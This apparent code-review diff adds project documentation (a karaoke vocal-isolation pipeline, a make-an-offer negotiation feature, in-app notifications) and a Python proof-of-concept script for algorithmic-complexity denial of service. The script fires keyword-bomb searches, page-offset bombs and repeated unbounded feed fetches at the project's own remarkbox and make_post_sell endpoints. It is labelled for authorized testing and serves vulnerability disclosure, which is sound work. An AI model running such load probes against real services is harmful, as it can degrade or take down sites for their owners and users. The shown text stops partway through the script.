<path fill="none" stroke="black" d="M1445.26,-45.2C1453.91,-45.36 1462.8,-45.51 1471.55,-45.67"/>
<polygon fill="black" stroke="black" points="1471.68,-49.17 1481.74,-45.85 1471.8,-42.17 1471.68,-49.17"/>
</g>
<!-- artifacts&#45;&gt;stream_resp -->
<g id="edge16" class="edge">
<title>artifacts&#45;&gt;stream_resp</title>
<path fill="none" stroke="black" stroke-dasharray="1,5" d="M1510.87,-67.65C1477.53,-85 1425.76,-107 1377.5,-107 430.5,-107 430.5,-107 430.5,-107 343.6,-107 310.34,-88.39 237,-135 180.85,-170.69 145.52,-243.66 129.19,-284.89"/>
<polygon fill="black" stroke="black" points="125.85,-283.81 125.54,-294.4 132.39,-286.32 125.85,-283.81"/>
<text text-anchor="middle" x="933.5" y="-119.8" font-family="monospace" font-size="9.00">response JSON</text>
<text text-anchor="middle" x="933.5" y="-109.8" font-family="monospace" font-size="9.00">base64 artifacts</text>
</g>
<!-- browser -->
<g id="node19" class="node">
<title>browser</title>
<ellipse fill="#e0f2f1" stroke="black" cx="1190.5" cy="-469" rx="54.39" ry="21.43"/>
<text text-anchor="middle" x="1190.5" y="-472" font-family="monospace" font-size="10.00">Browser</text>
<text text-anchor="middle" x="1190.5" y="-461" font-family="monospace" font-size="10.00">(watch.js)</text>
</g>
<!-- s3&#45;&gt;browser -->
<g id="edge21" class="edge">
<title>s3&#45;&gt;browser</title>
<path fill="none" stroke="black" d="M999.18,-469C1037.91,-469 1086.97,-469 1125.57,-469"/>
<polygon fill="black" stroke="black" points="1125.66,-472.5 1135.66,-469 1125.66,-465.5 1125.66,-472.5"/>
<text text-anchor="middle" x="1057.5" y="-481.8" font-family="monospace" font-size="9.00">presigned URL</text>
<text text-anchor="middle" x="1057.5" y="-471.8" font-family="monospace" font-size="9.00">15 min TTL</text>
</g>
</g>
</svg>
Side by side

After

Width:  |  Height:  |  Size: 23 KiB

286
docs/karaoke-pipeline.md Normal file
View file

@ -0,0 +1,286 @@
# Karaoke Pipeline — Vocal Isolation via Unsandbox
## Overview
MPS separates instrumentals and vocals from audio/video uploads using spectral
mid-side Wiener masking (`voxsplit.c`, zero ML dependencies). Processing runs
inside unsandbox zerotrust containers. The pipeline is disk-backed with ~64KB
memory per worker at every stage.
## Architecture Diagram
```dot
// Render: dot -Tsvg docs/karaoke-pipeline.dot -o docs/karaoke-pipeline.dot.svg
digraph karaoke_pipeline {
rankdir=LR;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
subgraph cluster_mps {
label="MPS (uWSGI)";
style=dashed;
color="#5871ad";
trigger [label="Trigger\n(upload / on-demand / backfill)", fillcolor="#e8eaf6"];
s3_down [label="S3 Download\n→ /tmp/karaoke_*/media.bin\n64KB chunks", fillcolor="#e8eaf6"];
upload_media [label="POST /upload\n(streaming file body)\n→ upload_id", fillcolor="#e8eaf6"];
upload_vox [label="POST /upload\nvoxsplit.c\n→ upload_id", fillcolor="#e8eaf6"];
execute [label="POST /execute\n{upload_ids, script}\ntiny JSON, no file bytes", fillcolor="#e8eaf6"];
stream_resp [label="Stream response\n→ /tmp/karaoke_*/response.json\n64KB chunks", fillcolor="#e8eaf6"];
decode [label="Decode artifacts\n(base64 → tmpfile)\nupload to S3", fillcolor="#e8eaf6"];
db_update [label="Update product\nextensions + file_bytes\nset S3 ACLs", fillcolor="#e8eaf6"];
}
subgraph cluster_api {
label="api.unsandbox.com";
style=dashed;
color="#ad5871";
recv_upload [label="Receive upload\nAES-256-CTR encrypt\n→ /tmp/uploads/{id}.enc\nkey in ETS only", fillcolor="#fce4ec"];
dispatch [label="Dispatch execute\nErlang RPC\n~200B metadata only", fillcolor="#fce4ec"];
}
subgraph cluster_pool {
label="Pool Node";
style=dashed;
color="#58ad71";
pull [label="GET /internal/upload/{id}\nX-Upload-Key auth\nstreaming decrypt", fillcolor="#e8f5e9"];
inject [label="lxc exec ... cat >\n/root/input/{filename}\n64KB streaming pipe", fillcolor="#e8f5e9"];
}
subgraph cluster_container {
label="Zerotrust Container";
style=dashed;
color="#ad8f58";
compile [label="gcc -O2 voxsplit.c -lm", fillcolor="#fff8e1"];
extract [label="ffmpeg -i media\n-vn -acodec pcm_s16le\n-ar 44100 -ac 2\naudio.wav", fillcolor="#fff8e1"];
split [label="voxsplit audio.wav\n→ split-instrumental.wav\n→ split-vocal.wav", fillcolor="#fff8e1"];
remux [label="ffmpeg remux\n(video: copy video +\nisolated audio)\n(audio: copy wav)", fillcolor="#fff8e1"];
artifacts [label="/tmp/artifacts/\ninstrumentals.{ext}\nvocals.{ext}", fillcolor="#fff8e1"];
}
s3 [label="S3 / CDN\n(DO Spaces or BYOB)", shape=cylinder, fillcolor="#f3e5f5"];
browser [label="Browser\n(watch.js)", shape=ellipse, fillcolor="#e0f2f1"];
trigger -> s3_down;
s3_down -> upload_media [label="file on disk"];
s3_down -> upload_vox;
upload_media -> recv_upload [label="streaming\noctet-stream"];
upload_vox -> recv_upload;
recv_upload -> execute [label="upload_id", style=dashed, dir=back];
execute -> dispatch [label="JSON\n{upload_ids}"];
dispatch -> pull [label="RPC\nmetadata only"];
pull -> recv_upload [label="HTTPS GET\nstreaming decrypt", style=dotted];
pull -> inject;
inject -> compile;
compile -> extract;
extract -> split;
split -> remux;
remux -> artifacts;
artifacts -> stream_resp [label="response JSON\nbase64 artifacts", style=dotted];
stream_resp -> decode;
decode -> s3 [label="PUT instrumentals\nPUT vocals"];
db_update -> s3 [label="ACL update", style=dashed];
decode -> db_update;
s3 -> browser [label="presigned URL\n15 min TTL"];
}
```
## Pipeline Stages
### Stage 1: Trigger
Three entry points, all converge on `process_karaoke()`:
| Entry Point | File | When |
|-------------|------|------|
| Upload | `views/product.py:382` | User uploads audio/video to product |
| On-demand | `views/watch.py:karaoke_process` | User clicks 🎤 button in watch mode |
| Backfill | `lib/karaoke.py:backfill_karaoke_async` | Shop owner triggers from settings |
On-demand and backfill fork a detached grandchild process (double-fork +
`os.setsid()`) that survives uWSGI worker recycling. Per-product lockfile
(`/tmp/karaoke_{product_id}.lock`) prevents duplicate processing.
### Stage 2: Download from S3
```python
# karaoke.py:217-226
resp = s3_client.get_object(Bucket=bucket, Key=s3_key)
with open(media_path, "wb") as f:
while True:
chunk = body.read(65536) # 64KB
if not chunk: break
f.write(chunk)
```
### Stage 3: Upload to Unsandbox API
```python
# karaoke.py:45-77
# HMAC signs empty body — API skips body parsing for /upload
headers = {"X-Filename": filename, "Content-Type": "application/octet-stream"}
with open(file_path, "rb") as body:
response = requests.post(url, data=body, headers=headers)
# Returns: {"upload_id": "uuid"}
```
Two uploads: the media file + `voxsplit.c` source. Both stream from disk,
constant memory.
### Stage 4: API Receives + Encrypts
`upload_store.ex` writes incoming bytes to `/tmp/uploads/{id}.enc` with
AES-256-CTR encryption. Unique key+IV per upload. Keys live only in ETS
(BEAM memory, never written to disk). Files auto-expire after 15 minutes.
### Stage 5: Execute (Metadata Only)
```python
# karaoke.py:80-125
payload = {
"language": "bash",
"code": script,
"network_mode": "zerotrust",
"input_files": [
{"upload_id": media_id, "filename": "media"},
{"upload_id": voxsplit_id, "filename": "voxsplit.c"},
],
}
```
Tiny JSON body. Zero file content crosses Erlang distribution.
### Stage 6: Pool Pulls Files
Pool node calls `GET /internal/upload/{id}` back to the API. API decrypts
on-the-fly, streams plaintext. Pool pipes into container:
```
lxc exec {container} -- sh -c 'cat > /root/input/media'
```
`/tmp/input` symlinks to `/root/input/` (canonical location).
### Stage 7: Container Processing
```bash
# Compile voxsplit (spectral mid-side Wiener masking, libc + libm only)
gcc -O2 -o /tmp/voxsplit /tmp/input/voxsplit.c -lm
# Extract audio from media
ffmpeg -y -i /tmp/input/media -vn -acodec pcm_s16le -ar 44100 -ac 2 /tmp/audio.wav
# Separate instrumentals and vocals
/tmp/voxsplit /tmp/audio.wav -o /tmp/split
# For video: remux original video with each isolated audio
ffmpeg -y -i /tmp/input/media -i /tmp/split-instrumental.wav \
-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/instrumentals.mp4
ffmpeg -y -i /tmp/input/media -i /tmp/split-vocal.wav \
-c:v copy -map 0:v -map 1:a -shortest /tmp/artifacts/vocals.mp4
```
### Stage 8: Response + S3 Upload
Response JSON streams back to MPS temp file. Artifacts are base64-encoded in
the response. MPS decodes each one to a temp file, uploads to S3, deletes
temp file. Updates product metadata and S3 ACLs.
## On-Demand Flow (Watch Mode)
```dot
// Render: dot -Tsvg docs/karaoke-ondemand.dot -o docs/karaoke-ondemand.dot.svg
digraph karaoke_ondemand {
rankdir=TB;
node [shape=box, style="rounded,filled", fontname="monospace", fontsize=10];
edge [fontname="monospace", fontsize=9];
click [label="User clicks 🎤\n(watch.js)", fillcolor="#e0f2f1"];
check [label="Has tracks?", shape=diamond, fillcolor="#fff8e1"];
cycle [label="cycleKaraoke()\nOriginal → Instrumentals → Vocals", fillcolor="#e8f5e9"];
post [label="POST /karaoke/{id}\n(fetch, non-blocking)", fillcolor="#e8eaf6"];
fork [label="Server forks\ndetached grandchild", fillcolor="#e8eaf6"];
process [label="process_karaoke()\n(~30-120s)", fillcolor="#fce4ec"];
hourglass [label="Button shows ⌛\nkaraokeProcessing=true", fillcolor="#e0f2f1"];
refresh [label="10s URL refresh\nfetchWatchData()", fillcolor="#e0f2f1"];
detect [label="instrumentals_url\nappears in JSON", shape=diamond, fillcolor="#fff8e1"];
autoswitch [label="Auto-switch to\ninstrumentals 🎤", fillcolor="#e8f5e9"];
click -> check;
check -> cycle [label="yes"];
check -> post [label="no (eligible)"];
post -> fork [label="200 {status: processing}"];
post -> hourglass;
fork -> process;
hourglass -> refresh [label="every 10s"];
refresh -> detect;
detect -> refresh [label="not yet"];
detect -> autoswitch [label="tracks ready"];
process -> detect [label="DB updated", style=dashed];
}
```
## Security Properties
- **Encryption at rest**: AES-256-CTR, unique key+IV per upload, key in ETS only
- **Single-use**: Upload deleted immediately after pool pulls it
- **TTL**: 15-minute expiry, swept every 60 seconds
- **Key loss on restart**: BEAM restart = all encryption keys gone = files undecryptable
- **Auth**: `X-Upload-Key` header + 128-bit random UUID per upload
- **Zerotrust network**: Container has no outbound network access
## Limits
| Limit | Value | Source |
|-------|-------|--------|
| Max file size | 3.698 GB (3,698,742,051 bytes) | `upload_store.ex @max_upload_bytes` |
| Memory per worker | ~64 KB | Disk-backed streaming at every stage |
| Concurrency | Per-key limit from `validate_keys()` | Unsandbox account tier |
| Retries | 3 attempts, exponential backoff (5s, 10s, 20s) | `karaoke.py` backfill |
| URL TTL | 15 minutes | Presigned URL expiry |
| Upload TTL | 15 minutes | API auto-cleanup |
| Container TTL | 300 seconds | `/execute` payload `ttl` field |
## S3 Key Structure
```
{shop_id}/products/{product_id}/
product # original media file
preview # preview (for sellable products)
thumbnail1-4 # thumbnails
instrumentals # karaoke: isolated instrumentals
vocals # karaoke: isolated vocals
```
## Product Metadata
```python
product.extensions = {
"product": "mp4", # original
"instrumentals": "mp4", # same ext for video, "wav" for audio
"vocals": "mp4",
}
product.file_bytes = {
"product": 15000000,
"instrumentals": 12000000,
"vocals": 8000000,
}
```
## Related Files
| File | Role |
|------|------|
| `lib/karaoke.py` | Core pipeline: download, upload, execute, process response |
| `lib/voxsplit.c` | Spectral mid-side vocal isolation (C, libc+libm only) |
| `lib/un.py` | Unsandbox API client, HMAC signing, key validation |
| `views/watch.py` | On-demand `POST /karaoke/{id}` endpoint + watch JSON |
| `views/product.py` | Upload-triggered karaoke processing |
| `views/content.py` | Content page karaoke URL generation |
| `static/js/watch.js` | Client: button states, on-demand trigger, auto-switch |
| `templates/snippets/related_content.j2` | Karaoke button HTML |
| `templates/content.j2` | `data-karaoke-eligible` attribute |
| `scripts/backfill_karaoke.py` | Standalone backfill script |

205
docs/make-offer.md Normal file
View file

@ -0,0 +1,205 @@
# Make-an-Offer Mode (MPS-21)
Buyer proposes a price for any product in `pricing_mode=3` or `4`. Seller
counters, accepts, or declines. Auto-accept and auto-decline thresholds
filter lowballs and instantly close high offers without queueing.
## State Machine
```
┌─────────┐
buyer │ open │
opens → └────┬────┘
│
▼
┌─────────┐
│ pending │ ◄─────────┐
└────┬────┘ │
┌─────────┼─────────┐ │
▼ ▼ ▼ │ counter
accepted countered declined │ flips party
↓ │
(round_count++) │
└─────────────────────┘
terminal: accepted, declined, expired, withdrawn, paid
```
| state | description |
|-------|-------------|
| 0 pending | open offer awaiting current_party action |
| 1 accepted | terminal; cart line item created at agreed amount |
| 2 countered | counter active (still pending to other party) |
| 3 declined | terminal; rejected |
| 4 expired | terminal; auto-expired past expires_timestamp |
| 5 withdrawn | terminal; buyer pulled the offer |
| 6 paid | terminal; cart payment succeeded |
`current_party` flips between `BUYER (0)` and `SELLER (1)` on each
counter; round_count caps at `Shop.offer_max_rounds` (default 3).
## Models
- `MpsOffer` — one row per negotiation (product, shop, buyer,
current_amount, current_party, state, expires_timestamp, round_count,
buyer_message, seller_message, paid_timestamp).
- `MpsOfferEvent` — audit log; one row per action (open / counter /
accept / decline / withdraw / expire / pay) with actor_user_id.
- `MpsCartOffer` — cart-side association so checkout pays the agreed
amount instead of `Product.price_in_cents`.
## Shop Settings (form_section: offer-settings)
| field | default | purpose |
|-------|---------|---------|
| `offer_enabled` | False | shop master toggle |
| `offer_min_in_cents` | NULL | reject offers below this floor (silent) |
| `offer_auto_accept_threshold_pct` | 95 | offer ≥ N% of list → auto-accept |
| `offer_auto_decline_threshold_pct` | 50 | offer < N% of list → auto-decline |
| `offer_expiration_hours` | 168 (7d) | how long an offer stays open |
| `offer_max_rounds` | 3 | counter cap before forcing accept/decline |
| `offer_min_buyer_account_age_hours` | 0 | anti-spam (default open) |
Per-product override: `Product.allow_offers` (Boolean, nullable). NULL
inherits shop setting; True/False overrides.
## Logic (`lib/offer.py`)
Pure validators:
- `validate_actor_turn` — actor's party must match `offer.current_party`;
terminal-state offers reject all actions.
- `validate_round_cap` — rejects when `round_count >= max_rounds`
(forces accept/decline at the cap).
- `validate_floor` — silent reject below `Shop.offer_min_in_cents`.
- `auto_resolve_open` — classifies a new offer as accept / decline /
queue using shop's threshold percentages; `list_price=0` always queues.
Orchestrators (write `MpsOfferEvent` rows for audit):
- `open_offer` — writes offer + OPEN event; applies auto-accept /
auto-decline thresholds before queuing seller.
- `counter_offer` — flips `current_party`, increments `round_count`,
sets state COUNTERED, persists actor's message.
- `accept_offer` — terminal; caller's responsibility to write a cart
line item at `offer.current_amount_in_cents`.
- `decline_offer` — terminal.
- `withdraw_offer` — terminal; buyer-only (caller validates identity).
- `expire_offer` — idempotent system action; flips non-terminal offers
past `expires_timestamp` to EXPIRED.
- `mark_paid` — cart-success hook; ACCEPTED → PAID; raises if not in
ACCEPTED state.
Self-offer (buyer == seller) blocking is the view layer's job (same
pattern as auctions).
## Tick (`scripts/offer_tick.py`)
Scans non-terminal offers (PENDING / COUNTERED) past `expires_timestamp`
and calls `expire_offer` on each. Idempotent.
Recommended cron: every 15 minutes — offers expire at hour granularity
so coarse polling is enough.
## Routes
```
POST /p/{product_id}/offer open new offer (login required)
GET /o/{offer_id} offer detail page (buyer + seller only)
POST /o/{offer_id}/counter counter the current amount
POST /o/{offer_id}/accept accept current amount (terminal)
POST /o/{offer_id}/decline decline current amount (terminal)
POST /o/{offer_id}/withdraw buyer-only terminal pull
POST /o/{offer_id}/checkout buyer pays accepted offer
GET /s/{shop_id}/offers operator inbox of all offers for the shop
GET /o/{offer_id}/events bounded SSE feed of the offer's state (buyer/seller only)
```
### Live updates (bounded SSE)
`/o/{offer_id}/events` is a `text/event-stream` that polls the offer row
every ~1.5s, emits a `data: {json}` frame on connect and whenever the
state-machine state changes, sends a heartbeat comment, then closes after
~25s — the browser `EventSource` reconnects. This caps the worker-thread
hold per client (uWSGI is sync, ~16 threads; a truly long-lived SSE would
starve the pool). Shared helper: `lib/sse.py` (`sse_response` /
`event_stream`). Timings are settings (`app.sse.hold_seconds`,
`app.sse.poll_interval_seconds`; `test.ini` sets them tiny). The
generator uses its **own** short-lived DB session per poll (not
`request.dbsession`, which pyramid_tm has already closed by then).
`offer.js` opens the `EventSource` on the offer page and `reload()`s on a
state change (the whole page layout depends on state/`can_act`). Auctions
have the same: `/a/{auction_id}/events` (public) + `auction.js` calls
`applyState()` on each frame.
`offer_open` is registered before the `product_slug` catch-all so
`/p/{id}/offer` is not shadowed.
### Operator inbox (`/s/{shop_id}/offers`)
`views/offer.py:shop_offers` (`@shop_editor_required`) lists every offer
for the shop — open (pending/countered) first, sorted by last action, then
terminal offers — in `shop_offers.j2`. Each row links to `/o/{id}` and to
the buyer's profile (`/profile/{handle}?shop={shop_id}`). Reachable from
`/actions/view` via the "🤝 Offers" button (shown when `shop.offer_enabled`).
Incoming offers still email the shop owners (`send_offer_received_email`);
this inbox is the in-app counterpart.
### Identity / privacy
Offer history and the offer page show the buyer's **display name**
(`User.display_name`, which is the public `name` handle — `full_name` is
private) linked to `/profile/{handle}`, never the email. The profile page
reveals the email only to the user themselves, or to a shop owner/editor
viewing in that shop's context (`?shop={shop_id}`) when the profile user
has actually transacted there (an offer or an invoice) — see
`views/user.py:user_profile`. `_serialize_offer` carries `buyer_name` /
`buyer_handle` and per-event `actor_name` / `actor_handle` / `actor_id`
(no email).
### Capability-driven presentation
Every POST route works as a plain browser form submit: the server flashes
a status message and `302`-redirects to `/o/{offer_id}` (or back to the
product page on error). When JS is available, `static/js/offer.js`
intercepts the submit, posts with `X-Requested-With: XMLHttpRequest`, and
the same handlers return JSON instead of redirecting — the JS then
navigates to `/o/{offer_id}` without a full reload of the originating
page. The no-JS path is the source of truth; JSON is an enhancement.
Functional coverage: `TestOfferRoutes` drives the JSON path,
`TestOfferNoJsFallback` the plain-POST path.
`offer.j2` also renders a state-aware notice (`.offer-state-notice`,
styled via the `.alert` variants) above the action forms — declined /
withdrawn / expired / accepted (+ pay-now hint for the buyer) / your-turn
/ waiting — so the viewer always understands the offer's state without
relying on a flash message that a JS redirect would skip. The booleans
come from `_serialize_offer` (`is_declined`, `is_withdrawn`, `is_expired`,
`is_accepted`, `is_paid`, plus `can_act` / `is_open`).
## Cart Integration
When `cart.cart_offers` has one row, `cart.total_price_in_cents`
short-circuits to `offer.current_amount_in_cents` + handling +
gift-card-purchases. After standard cart payment success,
`_finalize_auction_offer_state` calls `lib/offer.mark_paid` which
flips `state=PAID` and writes the OFFER_EVENT_PAY audit row.
## Email Notifications
- `OFFER_RECEIVED` — sent to all shop owners when a new pending offer
arrives (sent from `offer_open` view; auto-accept and auto-decline
paths use different emails).
- `OFFER_ACCEPTED` — sent to the buyer when the seller (or buyer
themselves) accepts the current amount.
Decline / counter / expire emails are not yet sent (deferred — same
constraint as auction tick-driven emails: cron has no request).
## Testing
5 model state helpers + 12 lib pure-function unit tests +
10 lib integration tests + 12 view functional tests +
9 form section functional tests + 13 cart integration tests +
4 tick tests + 4 email tests = 69 net new tests for MPS-21
(some shared with MPS-20 in cart integration).

129
docs/notifications.md Normal file
View file

@ -0,0 +1,129 @@
# MPS Notification System
Every transactional email in MPS now pairs with an in-app notification
row in `mps_notification`. The user has a permanent inbox even if they
never opened the email, and the navbar surfaces an unread count badge.
## Data Model
`MpsNotification` (`mps_notification`, migration
`5d01b163b805`):
| Column | Type | Notes |
|---|---|---|
| `id` | UUID | primary key |
| `user_id` | UUID | recipient (FK `mps_user.id`) |
| `shop_id` | UUID nullable | shop this is about (FK `mps_shop.id`) |
| `kind` | string(64) | discriminator — see kinds below |
| `subject` | string(256) | one-line headline |
| `body` | text | denormalized snippet (survives source deletion) |
| `link_url` | string(512) | primary click-through |
| `offer_id` | UUID nullable | breadcrumb FK |
| `auction_id` | UUID nullable | breadcrumb FK |
| `invoice_id` | UUID nullable | breadcrumb FK |
| `created_timestamp` | bigint | ms |
| `updated_timestamp` | bigint | ms |
| `read` | bool, default `False` | drives the unread badge |
| `read_timestamp` | bigint nullable | when dismissed |
Composite index on `(user_id, read, created_timestamp)` for cheap
unread-count queries.
## Kinds
Defined in `make_post_sell/models/notification.py` (stable strings —
templates and tests assume them). Every kind has matching email logic
in `lib/mail.py`; the notification persist lives in `lib/notifications.py`.
| Kind | Trigger | Recipient(s) | Source FKs |
|---|---|---|---|
| `offer_received` | buyer opens offer (PENDING) | shop owners | `offer_id` |
| `offer_accepted` | auto-accept / seller-accept | buyer | `offer_id` |
| `offer_countered` | either party counters | the other party | `offer_id` |
| `offer_declined` | seller manually declines | buyer | `offer_id` |
| `offer_withdrawn` | buyer withdraws pre-accept | shop owners | `offer_id` |
| `offer_buyer_cancelled` | buyer cancels post-accept | shop owners | `offer_id` |
| `offer_expired` | offer_tick → EXPIRED | buyer + shop owners | `offer_id` |
| `purchase` | cart pays | buyer | `invoice_id` |
| `sale` | cart pays | shop owners | `invoice_id` |
| `auction_outbid` | new bid bumps prior leader | prior bidder | `auction_id` |
| `auction_won` | auction_tick → ENDED + winner | winner | `auction_id` |
| `auction_ended_no_winner` | auction_tick → ENDED, no winner | shop owners | `auction_id` |
| `auction_cancelled` | reserved (no call site yet) | bidders + watchers | `auction_id` |
## Breadcrumbs
`MpsNotification.breadcrumbs` returns an ordered `[(label, url)]`
walk back from the notification to its source:
Shop → Product → (Offer | Auction | Invoice)
The template iterates this for the breadcrumb chain under each row.
Each step is optional — only entities whose FK is set get rendered.
For offer/auction kinds the product comes from `offer.product` /
`auction.product`. For purchase/sale kinds it comes from the first
invoice line item.
## Wiring
**Orchestration:** `make_post_sell/lib/notifications.py` exports one
helper per event class. Each helper accepts either a Pyramid request
*or* a SQLAlchemy session — `_resolve_session()` extracts the right
one, so the same orchestrator works in views and in tick jobs.
**Offer transitions** drop their notifications inline in
`views/offer.py` (alongside the existing `send_offer_*_email` sends).
Each handler snapshots state pre-action, runs the action, and only
emits on the actual transition.
**Cart completion** drops `purchase` + `sale` rows from every
checkout completion path:
- `views/cart.py` ×3 (Stripe / PayPal-create / Adyen)
- `views/webhooks.py` ×4 (PayPal capture, approved, Stripe, Adyen)
- `lib/crypto_watcher/__init__.py` ×3 (Monero, Dogecoin,
confirmed-duplicate path) — gated on
`crypto_payment.sales_email_sent` so a rescan can't
write duplicates.
**Auction transitions** in `lib/auction_tick.py`:
- ACTIVE → ENDED with winner → `notify_auction_won`
- ACTIVE → ENDED without winner → `notify_auction_ended_no_winner`
- bid placement bumps prior leader → `notify_auction_outbid`
(in `views/auction.py`)
**Offer auto-expiry** in `lib/offer_tick.py` calls
`notify_offer_expired` for both pre-accept and post-accept windows.
## UI
- **Badge** (`templates/base.j2` + `request.unread_notification_count`,
reified): pill next to the profile name in the navbar. Same pill
appears on the `/u/settings` "Notifications" button.
- **List** at `/u/notifications` (`templates/user_notifications.j2`):
newest first, kind label + relative time + subject + body +
breadcrumb nav. Unread rows carry an `alert-info-bg` left-border
accent; **read rows stay in the list** but fade to `opacity: 0.65`
so the unread set visually dominates.
- **Mark-read endpoints**:
- `POST /u/notifications/{id}/read` — single row
- `POST /u/notifications/read-all` — bulk-dismiss all unread
## Read semantics (important)
Marking a notification read **does not delete it**. The row stays in
the DB and stays in the list, just less prominent. The unread *count*
drops because `count_unread_notifications` filters
`read == False`. This was explicit feedback from fox: users want a
permanent audit log of every event, not a self-emptying inbox.
## Non-fatal by design
Every notification persist is wrapped in `_safe_add` — if the DB
write fails the exception is logged but the HTTP response (and the
corresponding email send) is not interrupted. The same pattern applies
to the email-side `_safe_email` wrapper. Notification persist and
email send are now **independent**: an SMTP outage cannot block
notification creation (and vice versa).

241
docs/poc-cwe407.py Executable file
View file

@ -0,0 +1,241 @@
#!/usr/bin/env python3
"""
CWE-407 Proof-of-Concept — Algorithmic Complexity DoS
Target: remarkbox, make_post_sell
Usage:
python3 poc-cwe407.py <base_url> <test_name>
Tests:
rbox-search remarkbox /search keyword bomb (unauthenticated)
rbox-page remarkbox ?page= offset bomb (unauthenticated)
rbox-dump remarkbox /ns/{ns}/dump.json full-namespace dump
mps-search make_post_sell /search keyword bomb (unauthenticated)
mps-sitemap make_post_sell /sitemap.xml repeated fetch
Each test measures wall-clock response time and prints a scaling table.
A 10x slowdown vs baseline = confirmed CWE-407 impact.
AUTHORIZED USE ONLY. Run against your own staging/dev instance.
"""
import sys
import time
import statistics
import urllib.request
import urllib.parse
import urllib.error
# ---------------------------------------------------------------------------
# helpers
# ---------------------------------------------------------------------------
def get(url, timeout=60):
"""Return (status_code, elapsed_seconds, response_body_length)."""
t0 = time.monotonic()
try:
with urllib.request.urlopen(url, timeout=timeout) as resp:
body = resp.read()
elapsed = time.monotonic() - t0
return resp.status, elapsed, len(body)
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t0
return e.code, elapsed, 0
except Exception as e:
elapsed = time.monotonic() - t0
return 0, elapsed, 0
def table_row(label, status, elapsed, body_len):
print(f" {label:<40s} HTTP {status} {elapsed:6.2f}s {body_len:>8d} bytes")
def header(title):
print()
print("=" * 70)
print(f" {title}")
print("=" * 70)
print(f" {'payload':<40s} {'status':<9s} {'time':>6s} {'body':>13s}")
print("-" * 70)
# ---------------------------------------------------------------------------
# PoC 1 — remarkbox keyword bomb
# ---------------------------------------------------------------------------
def rbox_search(base):
"""
GET /search?keywords=<N repeated tokens>
Each token fires a full ILIKE table scan on Node.data.
No limit on token count or result set.
Expected: response time grows roughly linearly with keyword count.
A 100-keyword query should be ~100x slower than a 1-keyword query.
"""
header("rbox-search remarkbox /search keyword bomb [UNAUTH]")
url = base.rstrip("/") + "/search"
# baseline: 1 keyword
for n_keywords in [1, 5, 10, 25, 50, 100, 200, 500]:
# use a common substring that will match many nodes
keywords = " ".join(["the"] * n_keywords)
qs = urllib.parse.urlencode({"keywords": keywords})
full_url = f"{url}?{qs}"
status, elapsed, body_len = get(full_url)
table_row(f"{n_keywords} keyword(s) 'the'", status, elapsed, body_len)
print()
print(" NOTE: if elapsed scales with keyword count → confirmed CWE-407")
print(f" PoC URL (500 keywords):")
keywords = " ".join(["the"] * 500)
qs = urllib.parse.urlencode({"keywords": keywords})
print(f" {url}?{qs[:120]}...")
# ---------------------------------------------------------------------------
# PoC 2 — remarkbox page offset bomb
# ---------------------------------------------------------------------------
def rbox_page(base):
"""
GET /ns/{namespace}?page=<N>
Offset-based pagination translates to: LIMIT 100 OFFSET (N-1)*100
SQLite must scan and discard (N-1)*100 rows before returning anything.
Expected: response time grows with page number.
"""
header("rbox-page remarkbox ?page= offset bomb [UNAUTH]")
# need a namespace — try the domain itself as the namespace (remarkbox's
# canonical namespace is usually the domain name)
ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
url = base.rstrip("/") + f"/ns/{ns}"
for page in [1, 10, 100, 1000, 10000, 100000, 1000000]:
full_url = f"{url}?page={page}"
status, elapsed, body_len = get(full_url)
table_row(f"page={page}", status, elapsed, body_len)
print()
print(" NOTE: if elapsed grows with page number → confirmed offset DoS")
print(f" PoC URL: {url}?page=9999999")
# ---------------------------------------------------------------------------
# PoC 3 — remarkbox namespace dump
# ---------------------------------------------------------------------------
def rbox_dump(base):
"""
GET /ns/{namespace}/dump.json
Iterates every root node and every child node in the namespace,
builds a Python dict, JSON-serializes the whole thing.
No pagination, no limit.
Expected: response time and body size proportional to node count.
"""
header("rbox-dump remarkbox /ns/{ns}/dump.json [UNAUTH]")
ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
url = base.rstrip("/") + f"/ns/{ns}/dump.json"
times = []
for i in range(5):
status, elapsed, body_len = get(url)
times.append(elapsed)
table_row(f"request #{i+1}", status, elapsed, body_len)
if times:
print(f"\n median={statistics.median(times):.2f}s max={max(times):.2f}s")
print(f" PoC URL: {url}")
print(" Scale: add more nodes to namespace to increase impact")
# ---------------------------------------------------------------------------
# PoC 4 — make_post_sell search keyword bomb
# ---------------------------------------------------------------------------
def mps_search(base):
"""
GET /search?keywords=<N tokens>
Per token: SELECT * FROM mps_product WHERE title ILIKE '%token%'
No LIMIT. Results accumulate in Python list, then sorted.
Expected: linear degradation with keyword count.
"""
header("mps-search make_post_sell /search keyword bomb [UNAUTH]")
url = base.rstrip("/") + "/search"
for n_keywords in [1, 5, 10, 25, 50, 100, 200]:
keywords = " ".join(["a"] * n_keywords)
qs = urllib.parse.urlencode({"keywords": keywords})
full_url = f"{url}?{qs}"
status, elapsed, body_len = get(full_url)
table_row(f"{n_keywords} keyword(s) 'a'", status, elapsed, body_len)
print()
print(" NOTE: 'a' matches most product titles → large result sets per keyword")
print(f" PoC URL (200 keywords):")
keywords = " ".join(["a"] * 200)
qs = urllib.parse.urlencode({"keywords": keywords})
print(f" {url}?{qs[:120]}...")
# ---------------------------------------------------------------------------
# PoC 5 — make_post_sell sitemap repeated fetch
# ---------------------------------------------------------------------------
def mps_sitemap(base):
"""
GET /sitemap.xml
Fetches ALL public products from ALL shops, generates XML.
No LIMIT. Unbounded shop/product scan.
Expected: large shops show proportionally slow responses.
Amplification: 3 feed endpoints hit the same unbounded query.
"""
header("mps-sitemap make_post_sell feed endpoints [UNAUTH]")
endpoints = ["/sitemap.xml", "/rss.xml", "/atom.xml", "/feed.xml", "/feed.rss", "/feed.atom"]
for ep in endpoints:
url = base.rstrip("/") + ep
status, elapsed, body_len = get(url)
table_row(ep, status, elapsed, body_len)
print()
print(" Each endpoint runs the same unbounded product query.")
print(" Hitting all 6 in rapid succession = 6x database scan load.")
# ---------------------------------------------------------------------------
# dispatch
# ---------------------------------------------------------------------------
TESTS = {
"rbox-search": rbox_search,
"rbox-page": rbox_page,
"rbox-dump": rbox_dump,
"mps-search": mps_search,
"mps-sitemap": mps_sitemap,
}
if __name__ == "__main__":
if len(sys.argv) < 3:
print(__doc__)
print("Available tests:", ", ".join(TESTS))
sys.exit(1)
base_url = sys.argv[1]
